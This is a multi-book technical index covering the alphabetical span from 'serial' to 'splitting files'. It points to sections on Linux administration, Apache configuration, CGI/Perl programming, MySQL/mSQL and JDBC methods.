serial= option (LILO): G.1. Global Options (Running Linux)
serial ports, Alpha systems and: C.5.5. Mice and Serial Ports (Running Linux)
server: 15.1.3.2. The networking rc files (Running Linux)
configuration files: 2.3. site.toddle (Apache: The Definitive Guide)
name: 15.1.3.1. Your network configuration (Running Linux)
NIS: 15.4.2. Configuring NIS (Running Linux)
Unix, setting up: 2.4. Setting Up a Unix Server (Apache: The Definitive Guide)
Win32, setting up: 2.5. Setting Up a Win32 Server (Apache: The Definitive Guide)
World Wide Web: 16.1.3. Configuring Your Own WWW Server (Running Linux)
X (see X Window System)
Server header: 2.4.2.8. Server (CGI Programming with Perl)
complete headers, including in: Headers (CGI Programming with Perl) 3.3.2. Complete (Non-Parsed)
server-info handler: 4.8. Handlers (Apache: The Definitive Guide)
Server Message Block (SMB): 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network (Running Linux)
server-parsed handler: 4.8. Handlers (Apache: The Definitive Guide)
Server Resource Map file: 16.1.3.2. srm.conf (Running Linux)
server-side includes: 10. Server-Side Includes (Apache: The Definitive Guide)
CGI scripts executed as: 10. Server-Side Includes (Apache: The Definitive Guide)
10.4. Execute CGI (Apache: The Definitive Guide)
IncludesNoExec (Options directive): 3.11. Options (Apache: The Definitive Guide)
3.11. Options (Apache: The Definitive Guide)
scripting modules: 12.7. Server-Side Scripting (Apache: The Definitive Guide)
XSSI facility: 10.7. XSSI (Apache: The Definitive Guide)
Server Side Includes (SSI): 12.1. Alternatives for Dynamic Content on the Web (MySQL & mSQL)
server-side interpreter: 12.1. Alternatives for Dynamic Content on the Web (MySQL & mSQL)
server statistics: 5.5.1.4. Server status (MySQL & mSQL)
server-status handler: 4.8. Handlers (Apache: The Definitive Guide)
Server version: 4.4.1.4. Server status (MySQL & mSQL)
server-wide my.cnf file: 16.1.3. The MySQL Configuration File (MySQL & mSQL)
ServerAdmin directive: 3.4.3. ServerAdmin (Apache: The Definitive Guide)
ServerAlias directive: 3.4.6. ServerAlias (Apache: The Definitive Guide)
ServerName directive: 2.4.2. Running Apache Under Unix (Apache: The Definitive Guide)
2.5. Setting Up a Win32 Server (Apache: The Definitive Guide)
3.4.1. ServerName (Apache: The Definitive Guide)
SERVER_NAME environment variable: 5.2.1.7. virtual_host (CGI Programming with Perl)
ServerPath directive: 3.4.7. ServerPath (Apache: The Definitive Guide)
SERVER_PROTOCOL environment variable: Headers (CGI Programming with Perl) 3.3.2. Complete (Non-Parsed)
server_rec structure: 14.2. Per-Server Configuration (Apache: The Definitive Guide)
14.5. Access to Configuration and Request Information (Apache: The Definitive Guide)
ServerRoot directive: 3.4.8. ServerRoot (Apache: The Definitive Guide)
servers: 1.5. What Happens at the Server End? (Apache: The Definitive Guide)
2.3.2.4. Authorization (CGI Programming with Perl)
(see also web servers)
authorization requirements of: 2.3.2.4. Authorization (CGI Programming with Perl)
buffering, handling (script for finding): Headers (CGI Programming with Perl) 3.3.2. Complete (Non-Parsed)
certificates, information about: 3.2.1. CGI Environment Variables (CGI Programming with Perl)
child, setting limits on: 3.6.2. MaxRequestsPerChild (Apache: The Definitive Guide)
communicating with other: 14.1. Communicating with Other Servers (CGI Programming with Perl)
sockets: 14.1.1. Sockets (CGI Programming with Perl)
configuring to execute CGI application with user HTML document requests: 11.1. Query Strings and Extra Path Information (CGI Programming with Perl)
content negotiation, performing: 2.6. Content Negotiation (CGI Programming with Perl)
daemons, turning Perl CGI applications into: 17. Efficiency and Optimization (CGI Programming with Perl)
document tree, excluding data files from: 8.5.2. Location of Files (CGI Programming with Perl)
environment variables specific to, listing: 3.2.2. Examining Environment Variables (CGI Programming with Perl)
error logs, checking: 15.3.2. Check Error Logs (CGI Programming with Perl)
filesystems, using to control data file access: 8.5.3. File Permissions (CGI Programming with Perl)
getting information on: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
host name: 2.3.2.1. Host (CGI Programming with Perl)
HTML form data, sending to: 4.1. Sending Data to the Server (CGI Programming with Perl)
HTTP: 2. The Hypertext Transport Protocol (CGI Programming with Perl)
user authentication: 3.4.2. User Authentication and Identification (CGI Programming with Perl)
information on: 11.3. Server Status (Apache: The Definitive Guide)
API functions for: 14.6.19. Server Information Functions (Apache: The Definitive Guide)
information servers: 7.3. Data Exchange (CGI Programming with Perl)
Internal Server Error status code: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
maximum wait for requests: 3.4.16. TimeOut (Apache: The Definitive Guide)
minimal access privileges of: 15.1.1. Application Permissions (CGI Programming with Perl)
NCSA, Apache and: C. NCSA and Apache Compatibility (Apache: The Definitive Guide)
NFS: 2.5. Overview of NFS (Linux in a Nutshell)
NIS: 2.6.1. Servers (Linux in a Nutshell)
2.7.1. Setting up an NIS server (Linux in a Nutshell)
output to client, buffering: 3.1.1.2. STDOUT (CGI Programming with Perl)
per-server configuration: 14.2. Per-Server Configuration (Apache: The Definitive Guide)
15.3.1. Create Per-Server Config Structure (Apache: The Definitive Guide)
15.3.3. Per-Server Merger (Apache: The Definitive Guide)
proxy servers: 1. Getting Started (Apache: The Definitive Guide)
9. Proxy Server (Apache: The Definitive Guide)
remote processes as: 14.1. Communicating with Other Servers (CGI Programming with Perl)
request/response cycle: 2.2.1. The Request and Response Cycle (CGI Programming with Perl)
response to HTTP GET request: 11. Maintaining State (CGI Programming with Perl)
responses: 2.4. Server Responses (CGI Programming with Perl)
11. Maintaining State (CGI Programming with Perl)
headers: 2.4.2. Server Headers (CGI Programming with Perl)
proxies, using for: 2.5. Proxies (CGI Programming with Perl)
rshd daemon: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
searching: 12. Searching the Web Server (CGI Programming with Perl)
fgrep command, using: 12.1. Searching One by One (CGI Programming with Perl)
grep command, using: 12.2. Searching One by One, Take Two (CGI Programming with Perl)
inverted index, using: 12.3. Inverted Index Search (CGI Programming with Perl)
security (see security)
SMTP: 9.6. Perl Mailers (CGI Programming with Perl)
verifying email addresses: 9.2. Email Addresses (CGI Programming with Perl)
SSI (see SSI)
STDERR, handling output to: 3.1.1.3. STDERR (CGI Programming with Perl)
X Windows server, adding hostname or IP address: 15.3.5.2. ptkdb (CGI Programming with Perl)
ServerSignature directive: 3.4.4. ServerSignature (Apache: The Definitive Guide)
ServerTokens directive: 3.4.5. ServerTokens (Apache: The Definitive Guide)
servertype attribute: 10.1. DBI (MySQL & mSQL)
ServerType directive: 3.9.5. ServerType (Apache: The Definitive Guide)
16.1.3.1. httpd.conf (Running Linux)
service, Apache as (Win32): 2.5. Setting Up a Win32 Server (Apache: The Definitive Guide)
Service Unavailable error messages: 3.3.1.3. Specifying status codes (CGI Programming with Perl)
3.3.1.3. Specifying status codes (CGI Programming with Perl)
services file: 16.2.1.6. Final smail installation notes (Running Linux)
services (Windows), supporting: 12.1.3.1. Installing Samba (Running Linux)
servlets, CGI vs.: 1.3.2. Alternatives to CGI (CGI Programming with Perl)
session identifiers
get_id function, returning with: 11.2. Hidden Fields (CGI Programming with Perl)
in hidden field: 11.2. Hidden Fields (CGI Programming with Perl)
storing on client side with cookies: 11.3. Client-Side Cookies (CGI Programming with Perl)
session management: B.3. The GNOME Desktop: A User's Point of View (Running Linux)
11.3. The K Desktop Environment (Running Linux)
sessions, resuming: D.1.4. Resuming Sessions (Apache: The Definitive Guide)
sessions, user: 11. Maintaining State (CGI Programming with Perl)
SESSION_USER( ) function: 15.1. MySQL SQL (MySQL & mSQL)
set command: 6.2.2. Format (CGI Programming with Perl)
set command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
set command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
set command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
:set command (vi), options: 11.14.1. The :set Command (Linux in a Nutshell)
Set-Cookie header: 2.3.2.8. Cookies (CGI Programming with Perl)
CGI.pm commands, generating with: 11.3.1. Setting Cookies (CGI Programming with Perl)
SET datatype: 6.3.4. Enumerations and Sets (MySQL & mSQL)
15.1. MySQL SQL (MySQL & mSQL)
SET statement: 15.1. MySQL SQL (MySQL & mSQL)
setArray( ) method: 22. JDBC Reference (MySQL & mSQL)
setAsciiStream( ) method: 22. JDBC Reference (MySQL & mSQL)
setAutoCommit( ) method: 22. JDBC Reference (MySQL & mSQL)
setBigDecimal( ) method: 22. JDBC Reference (MySQL & mSQL)
setBinaryStream( ) method: 22. JDBC Reference (MySQL & mSQL)
setBlob( ) method: 22. JDBC Reference (MySQL & mSQL)
setBoolean( ) method: 22. JDBC Reference (MySQL & mSQL)
setByte( ) method: 22. JDBC Reference (MySQL & mSQL)
setBytes( ) method: 22. JDBC Reference (MySQL & mSQL)
setCatalog( ) method: 22. JDBC Reference (MySQL & mSQL)
setCharacterStream( ) method: 22. JDBC Reference (MySQL & mSQL)
setClob( ) method: 22. JDBC Reference (MySQL & mSQL)
setConcurrency( ) method: 22. JDBC Reference (MySQL & mSQL)
setContentType( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
setcookie( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
setCursorName( ) method: 22. JDBC Reference (MySQL & mSQL)
setDate( ) method: 22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
setDouble( ) method: 22. JDBC Reference (MySQL & mSQL)
setdprm command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
setenv command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
SetEnv directive: 4.6.1. SetEnv (Apache: The Definitive Guide)
4.6.2. UnsetEnv (Apache: The Definitive Guide)
SetEnvIf directive: 4.6.4.1. SetEnvIf and SetEnvIfNoCase (Apache: The Definitive Guide)
SetEnvIfNoCase directive: 4.6.4.1. SetEnvIf and SetEnvIfNoCase (Apache: The Definitive Guide)
seterrorreporting( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
setEscapeProcessing( ) method: 22. JDBC Reference (MySQL & mSQL)
set_event( ): 14.6.9.3. Event Functions (Apache: The Definitive Guide)
setFetchDirection( ) method: 22. JDBC Reference (MySQL & mSQL)
setFetchDirection( ) method: 22. JDBC Reference (MySQL & mSQL)
setFetchSize( ) method: 22. JDBC Reference (MySQL & mSQL)
setFetchSize( ) method: 22. JDBC Reference (MySQL & mSQL)
setFloat( ) method: 22. JDBC Reference (MySQL & mSQL)
SetHandler directive: 4.8.2. SetHandler (Apache: The Definitive Guide)
11.3. Server Status (Apache: The Definitive Guide)
setInt( ) method: 22. JDBC Reference (MySQL & mSQL)
setlogging( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
setLoginTimeout( ) method: 22. JDBC Reference (MySQL & mSQL)
setLogStream( ) method: 22. JDBC Reference (MySQL & mSQL)
setLong( ) method: 22. JDBC Reference (MySQL & mSQL)
setMaxFieldize( ) method: 22. JDBC Reference (MySQL & mSQL)
setMaxRows( ) method: 22. JDBC Reference (MySQL & mSQL)
setMonth( ) method: 22. JDBC Reference (MySQL & mSQL)
setNanos( ) method: 22. JDBC Reference (MySQL & mSQL)
setNull( ) method: 22. JDBC Reference (MySQL & mSQL)
setObject( ) method: 22. JDBC Reference (MySQL & mSQL)
setReadOnly( ) method: 22. JDBC Reference (MySQL & mSQL)
setRef( ) method: 22. JDBC Reference (MySQL & mSQL)
setShort( ) method: 22. JDBC Reference (MySQL & mSQL)
setshowinfo( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
setsid command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
setString( ) method: 22. JDBC Reference (MySQL & mSQL)
settc command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
setterm program: 8.5. Setting Terminal Attributes (Running Linux)
setTime( ) method: 22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
22. JDBC Reference (MySQL & mSQL)
setTimestamp( ) method: 22. JDBC Reference (MySQL & mSQL)
setting cookies in redirection: 11.3.2. Testing for Cookies (CGI Programming with Perl)
setTransactionIsolation( ) method: 22. JDBC Reference (MySQL & mSQL)
setty command (tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
settype( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
setTypeMap( ) method: 22. JDBC Reference (MySQL & mSQL)
setuid bit: 5.7. Managing User Accounts (Running Linux)
setUnicodeStream( ): 22. JDBC Reference (MySQL & mSQL)
setup-hdimage program: 12.2.3. Installing and Configuring Dosemu (Running Linux)
setup script, mSQL: 3.2. mSQL (MySQL & mSQL)
setup_client_block( ): 14.6.14. TCP/IP and I/O Functions (Apache: The Definitive Guide)
setYear( ) method: 22. JDBC Reference (MySQL & mSQL)
Seyon package: H.5. Other Interesting Packages (Running Linux)
1.5.8. Telecommunications and BBS Software (Running Linux)
sh (Bourne shell): 4.5. Shells (Running Linux)
sh command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
sh shell: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
SHA-1 (Secure Hash Algorithm): 8.3. Encryption (CGI Programming with Perl)
digests, producing with: 8.3.2. SHA-1 (CGI Programming with Perl)
shadow file: 3.2.1. Creating a User Account (Running Linux)
5.7.2. Shadow Passwords (Running Linux)
shadow passwords: 5.7.2. Shadow Passwords (Running Linux)
shadow_text.cgi script (example): 13.5.4. Image Processing (CGI Programming with Perl)
shapes of imagemap hotspots: 7.3.4. HTML File (Apache: The Definitive Guide)
shar command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
shared file locks: 10.1.1.1. flock (CGI Programming with Perl)
shared libraries: 7.2.3. Upgrading Other Software (Running Linux)
8.6.2. Accessing Damaged Files (Running Linux)
13.1.1. Quick Overview (Running Linux)
13.1.7. More Fun with Libraries (Running Linux)
13.1.7.1. Creating shared libraries (Running Linux)
upgrading: 7.2.1. Upgrading Libraries (Running Linux)
shared memory addresses: 3.3.2.1. Isolating hardware problems (Running Linux)
Shared SQL Cache: 5.3.1. Bind Values Versus Interpolated Statements (Programming the Perl DBI)
-shared switch (gcc): 13.1.7.1. Creating shared libraries (Running Linux)
shares (see Windows partitions)
shareware: 1.6. About Linux's Copyright (Running Linux)
sharing between Windows and Linux
file translation utilities: 12.1.5. File Translation Utilities (Running Linux)
files: 12.1. Sharing Files (Running Linux)
12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network (Running Linux)
12.1.3. Using Samba to Serve SMB Shares (Running Linux)
programs: 12.2. Sharing Programs (Running Linux)
shell command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
shell mode (Emacs): 9.2.7. Running Commands and Programming Within Emacs (Running Linux)
shell output: 13.2. Apache's Security Precautions (Apache: The Definitive Guide)
shell programming commands: 1.6.8. Shell Programming (Linux in a Nutshell)
shell programs, remote: 14.4.2. Configuring CVS (Linux in a Nutshell)
shell script: 12.2.2. Installation (MySQL & mSQL)
shell variable (csh/tcsh): 8.4.3. Predefined Shell Variables (Linux in a Nutshell)
shell variables
bash shell: 7.4.2. Built-in Shell Variables (Linux in a Nutshell)
exporting values of: 7.7. Built-in Commands (Linux in a Nutshell)
shells: 1.4. What This Book Offers (Linux in a Nutshell)
6. The Linux Shells: An Overview (Linux in a Nutshell)
1.5.1. Basic Commands and Utilities (Running Linux)
4.5. Shells (Running Linux)
avoiding accessing to maximize performance: 17.1.8. Avoid the Shell (CGI Programming with Perl)
changing login: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
commands in makefile: 13.2.5. Multiple Commands (Running Linux)
creating for euid: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
Emacs shell mode characters: 10.3.12. Special Shell Mode Characters (Linux in a Nutshell)
email addresses, passing through as parameters: 9.1.1. Mailers and Shells (CGI Programming with Perl)
external, Perl taint checking: 8.4.2. What Is Monitored by Taint Mode (CGI Programming with Perl)
fgrep command, passing through: 12.1. Searching One by One (CGI Programming with Perl)
prompt: 3.3.4.4. Problems using the system (Running Linux)
4.1. Logging In (Running Linux)
rshd daemon: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
scripts: 1.5.1. Basic Commands and Utilities (Running Linux)
13.3. Shell Programming (Running Linux)
shell scripts: 5.2.4. Scripts (Linux in a Nutshell)
6.1.3. Programming (Linux in a Nutshell)
user data, passing through
avoiding with -t option (sendmail): 9.4.1. Command-Line Options (CGI Programming with Perl)
dangerous characters: 8.2.2. User Input and the Shell (CGI Programming with Perl)
user input and: 8.2.2. User Input and the Shell (CGI Programming with Perl)
vi and shell commands: 9.1.9. Running Shell Commands (Running Linux)
vi commands for: 11.8. Interacting with the Shell (Linux in a Nutshell)
shift command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
shift command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
shl( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
shopping cart example
maintaining state across: 11. Maintaining State (CGI Programming with Perl)
subroutines for handling requests: 11.2. Hidden Fields (CGI Programming with Perl)
utility functions: 11.2. Hidden Fields (CGI Programming with Perl)
shortcuts: 16.3.5. Keyboard Shortcuts (Linux in a Nutshell)
(see also keyboard shortcuts)
adding to GNOME desktop: 15.1.1. Adding Desktop Icons (Linux in a Nutshell)
Enlightenment window manager: 15.4.9.8. Shortcuts (Linux in a Nutshell)
fvwm2 keyboard: 17.13. Adding Keyboard Shortcuts (Linux in a Nutshell)
should_client_block( ): 14.6.14. TCP/IP and I/O Functions (Apache: The Definitive Guide)
SHOW PROCESSES statement: 15.1. MySQL SQL (MySQL & mSQL)
SHOW statement: 15.1. MySQL SQL (MySQL & mSQL)
showmount command (NFS/NIS): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
shr( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
.shtml filename extension: 10. Server-Side Includes (Apache: The Definitive Guide)
.shtml files: 6.2.1. Configuration (CGI Programming with Perl)
Shutdown command: 4.4.1.5. Server shutdown (MySQL & mSQL)
shutdown function: 21.3. Msql.pm API (MySQL & mSQL)
shutting down: 3.2.4. Shutting Down the System (Running Linux)
5.3.3. rc files (Running Linux)
5.5. Shutting Down the System (Running Linux)
$SIG{_ _DIE_ _} signal handler: 4.5.1.2. Automatic error checking (Programming the Perl DBI)
6.1.4. Common Attributes (Programming the Perl DBI)
$SIG{_ _WARN_ _} signal handler: 4.5.1.2. Automatic error checking (Programming the Perl DBI)
6.1.4. Common Attributes (Programming the Perl DBI)
SIGN( ) function: 15.1. MySQL SQL (MySQL & mSQL)
signal handling in Perl: A.8.2. Signal Handling and Canceling Operations (Programming the Perl DBI)
signals: 14.1.2. Examining a Core File (Running Linux)
signature (see boilerplates)
significant digits: 6.1.7. Statement Handle Attributes or Statement Metadata (Programming the Perl DBI)
sign_petition.cgi script (example): 10.1.4. Delimiters (CGI Programming with Perl)
SILO bootloader: F.3.2. The SILO Boot Loader (Running Linux)
Simple Mail Transfer Protocol (SMTP): 13.4.2.2. Disadvantages (Apache: The Definitive Guide)
simultaneous requests: 3.6.1. MaxClients (Apache: The Definitive Guide)
SIN( ) function: 15.1. MySQL SQL (MySQL & mSQL)
sin command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
single (boot-time option): 5.2.2.3. Specifying boot time options (Running Linux)
single empty tags, XML vs. HTML: 14.2. An Introduction to XML (CGI Programming with Perl)
single quotes around arguments, security and: 8.2.3. Security Strategies (CGI Programming with Perl)
single-threaded server: 5.1. Design (MySQL & mSQL)
single-user mode, Linux in: 5.2.2.3. Specifying boot time options (Running Linux)
5.4. Single-User Mode (Running Linux)
site.mm file: 3.2. mSQL (MySQL & mSQL)
site_perl directory, saving error module in: 5.5.4. Custom Module (CGI Programming with Perl)
sites direcctory (on CD-ROM): 0.2. The Demonstration CD-ROM (Apache: The Definitive Guide)
size
cache: 9.2.2. CacheSize (Apache: The Definitive Guide)
files: 10. Server-Side Includes (Apache: The Definitive Guide)
10.1. File Size (Apache: The Definitive Guide)
pool: 14.6.1. Pool Functions (Apache: The Definitive Guide)
TCP send buffer: 3.4.12. SendBufferSize (Apache: The Definitive Guide)
SIZE attribute
tag: 4.2.4. The <SELECT> Tag (CGI Programming with Perl)
text fields: 4.2.3.1. Text fields (CGI Programming with Perl)
size, calculating for directories: 5.2.4. File Uploads with CGI.pm (CGI Programming with Perl)
size command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
size of page (Ghostview): 11.4.8. Ghostview: Displaying PostScript (Running Linux)
sjcd= parameter (linux): 3.1.1. Booting Linux (Running Linux)
skel directory: 3.2.1. Creating a User Account (Running Linux)
4.16. Important Directories (Running Linux)
5.7.5. Creating Accounts (Running Linux)
/ (root) directory: 2.2.3. Linux Partition Requirements (Running Linux)
3.1.1. Booting Linux (Running Linux)
3.3.4.1. Problems booting Linux from floppy (Running Linux)
5.2.1. Using a Boot Floppy (Running Linux)
6.1.2. Mounting Filesystems (Running Linux)
Not Found error: 3.3.1. Problems with Booting the Installation Media (Running Linux)
as read-only: 5.2.2.3. Specifying boot time options (Running Linux)
slash (/) for root directory: 2.2.3. Linux Partition Requirements (Running Linux)
3.3.1. Problems with Booting the Installation Media (Running Linux)
3.3.4.1. Problems booting Linux from floppy (Running Linux)
5.2.1. Using a Boot Floppy (Running Linux)
5.2.2.3. Specifying boot time options (Running Linux)
6.1.2. Mounting Filesystems (Running Linux)
slattach command (TCP/IP): 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
slaves, NIS: 15.4.2. Configuring NIS (Running Linux)
sleep( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
sleep command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
sliding panel, GNOME desktop: 15.2.1. Additional Panels (Linux in a Nutshell)
SLIP (Serial Line Internet Protocol): 1.5.7. Networking (Running Linux)
15.1. Networking with TCP/IP (Running Linux)
15.1.2. Hardware Requirements (Running Linux)
15.2. Dial-up PPP (Running Linux)
SLIP (Serial Line IP): 2.3.4.2. Serial-line communication (Linux in a Nutshell)
SloppyFocus policy (fvwm2): 17.6. Specifying Click-to-Type Focus (Linux in a Nutshell)
Slow queries, mySQL server status: 4.4.1.4. Server status (MySQL & mSQL)
slowness, CGI applications: 17. Efficiency and Optimization (CGI Programming with Perl)
SLQ2 standard: 6.6.1. Inserts (MySQL & mSQL)
slurping, avoiding: 17.1.4. Avoid Slurping (CGI Programming with Perl)
smail package: 16.2.1. The smail Mail Transport Agent (Running Linux)
runtime configuration files: 16.2.1.7. smail runtime configuration files (Running Linux)
SMALLINT datatype: 15.1. MySQL SQL (MySQL & mSQL)
smart host: 16.2.1.2. Configuring a Linux-installed smail package (Running Linux)
16.2.1.5. The mkconfig file (Running Linux)
smart user: 16.2.1.2. Configuring a Linux-installed smail package (Running Linux)
16.2.1.5. The mkconfig file (Running Linux)
SMB protocol: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network (Running Linux)
smbclient utility: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network (Running Linux)
12.1.3.1. Installing Samba (Running Linux)
smb.conf file: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network (Running Linux)
12.1.3.1. Installing Samba (Running Linux)
smbd daemon: 12.1.3.1. Installing Samba (Running Linux)
12.1.3.2. Configuring Samba (Running Linux)
12.1.3.3. Starting Samba (Running Linux)
smbmount command: 12.1.2. Using Samba to Mount Directories from Windows Systems on Your Network (Running Linux)
SMTP daemon: 13.4.2. More Features (Running Linux)
SMTP protocol
command to validate email addresses: 9.2. Email Addresses (CGI Programming with Perl)
Mail::Mailer, using with: 9.6. Perl Mailers (CGI Programming with Perl)
Net::SMTP module, using with: 9.6. Perl Mailers (CGI Programming with Perl)
SMTP (Simple Mail Transfer Protocol): 13.4.2.2. Disadvantages (Apache: The Definitive Guide)
smtpd daemon: 16.2.1. The smail Mail Transport Agent (Running Linux)
Sock: 5.5.1.4. Server status (MySQL & mSQL)
sock function: 21.3. Msql.pm API (MySQL & mSQL)
sockets: 14.1.1. Sockets (CGI Programming with Perl)
14.1.1. Sockets (CGI Programming with Perl)
(see also SSL)
identifying in host IP addresses: 14.1.1. Sockets (CGI Programming with Perl)
IO::Socket module: 14.1.2. IO::Socket (CGI Programming with Perl)
$socket instance variable, use as file handle: 14.1.2. IO::Socket (CGI Programming with Perl)
sockets, API functions for: 14.6.5. File and Socket Functions (Apache: The Definitive Guide)
sockets, PCMCIA: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
SOCKS rules: 1.8.4. Configuration Settings and Rules (Apache: The Definitive Guide)
soft_timeout( ): 14.6.16. Timeout and Alarm Functions (Apache: The Definitive Guide)
software: 1.5. Software Features (Running Linux)
alpha and beta stages: 1.7. Open Source and the Philosophy of Linux (Running Linux)
for fax devices: 8.4.4. Checking Print Utilities (Running Linux)
free: 1.6. About Linux's Copyright (Running Linux)
FTP sites for: A.4. General Software FTP Sites (Running Linux)
installing: 3.1.6. Installing the Software (Running Linux)
RPM for: 7.3. Using RPM (Running Linux)
troubleshooting: 3.3.3. Problems Installing the Software (Running Linux)
installing on Alpha systems: C.6.1. Preparing Software for Installation (Running Linux)
memory requirements of: 2.2.3. Linux Partition Requirements (Running Linux)
Open Source Software: 1.7. Open Source and the Philosophy of Linux (Running Linux)
printing: 8.4.3. Choosing Printer Software (Running Linux)
source distributions: 7.2.3. Upgrading Other Software (Running Linux)
telecommunications (see telecommunications software)
upgrading: 7.2. Upgrading Software (Running Linux)
libraries: 7.2.1. Upgrading Libraries (Running Linux)
software distribution/installation system: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
soncd535= parameter (linux): 3.1.1. Booting Linux (Running Linux)
Sony CD-ROM interfaces: 3.1.1. Booting Linux (Running Linux)
Sony CDU-535 interfaces: 3.1.1. Booting Linux (Running Linux)
sort( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
sort command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
4.9. Saving Your Output (Running Linux)
execution within pipe, checking for: 15.2.3. Is It Open? (CGI Programming with Perl)
sortbuffer option: 16.1.2. Command line variables (MySQL & mSQL)
sorting file contents: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
sort_key_blocks option: 16.1.2. Command line variables (MySQL & mSQL)
sound: 1.5.10. Other Applications (Running Linux)
sound card support: 7.4.2. Building the Kernel (Running Linux)
Sound modules, KDE: 16.3.6. Sound (Linux in a Nutshell)
SoundBlaster Pro CD-ROM interfaces: 3.1.1. Booting Linux (Running Linux)
soundex( ) function: 18.1. PHP (MySQL & mSQL)
18.1. PHP (MySQL & mSQL)
sounds, enabling
Enlightenment window manager: 15.4.9.4. Audio (Linux in a Nutshell)
GNOME: 15.4.4. Multimedia (Linux in a Nutshell)
KDE: 16.3.6. Sound (Linux in a Nutshell)
source code: 13.1.1. Quick Overview (Running Linux)
source code (CGI scripts), security risks from revealing: 1.4.1.1. Configuring by directory (CGI Programming with Perl)
source code, Linux: 1.5. Sources and Licenses (Linux in a Nutshell)
source command (bash): 7.7. Built-in Commands (Linux in a Nutshell)
source command (csh/tcsh): 8.9. Built-in csh and tcsh Commands (Linux in a Nutshell)
source command (ex): 11.13. Alphabetical Summary of ex Commands (Linux in a Nutshell)
source files: 13.1.4. Using Multiple Source Files (Running Linux)
$Source keyword (RCS): 14.8.1.1. Keywords (Linux in a Nutshell)
SPACE( ) function: 15.1. MySQL SQL (MySQL & mSQL)
space characters (see whitespace)
spaces
in email addresses: 9.2.1. Validating Syntax (CGI Programming with Perl)
between HTML elements, CGI.pm and: 5.3.3. Standard HTML Elements (CGI Programming with Perl)
indenting code with: 16.2. Coding Guidelines (CGI Programming with Perl)
list element separation, eliminating in: 5.3.3. Standard HTML Elements (CGI Programming with Perl)
plus (+) character, replacing with: 4.3. Decoding Form Input (CGI Programming with Perl)
URLs
encoding as + or %20: 2.1.3. URL Encoding (CGI Programming with Perl)
replacing with plus (+) sign: 4.1. Sending Data to the Server (CGI Programming with Perl)
spam: 9.1.3. Spam (CGI Programming with Perl)
falsifying sender identity: 9.1.2. False Identities (CGI Programming with Perl)
spawn_child_err( ): 14.6.7. Process and CGI Functions (Apache: The Definitive Guide)
special characters
bash shell: 7.3.4. Quoting (Linux in a Nutshell)
bc language, print extension: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
colcrt command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
for comments: 16.1.3. The MySQL Configuration File (MySQL & mSQL)
in URLs: 10.3. Msql.pm (MySQL & mSQL)
tr command: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
with WHERE statement construct: 15.1. MySQL SQL (MySQL & mSQL)
15.2. mSQL SQL (MySQL & mSQL)
special characters in HTML: 16.1.4.6. More HTML features (Running Linux)
speed (see performance)
spell-checking URLs: 8.9. Speling (Apache: The Definitive Guide)
12.10. Miscellaneous (Apache: The Definitive Guide)
spelling: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
split( ): 2.4.1. Querying Data (Programming the Perl DBI)
2.5.1. The Perl Data::Dumper Module (Programming the Perl DBI)
split( ) function: 18.2. Lite (MySQL & mSQL)
18.2. Lite (MySQL & mSQL)
split command: 4.3. Decoding Form Input (CGI Programming with Perl)
split command (gawk): 13.8. Alphabetical Summary of Commands (Linux in a Nutshell)
splitting files: 3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
3.1. Alphabetical Summary of Commands (Linux in a Nutshell)
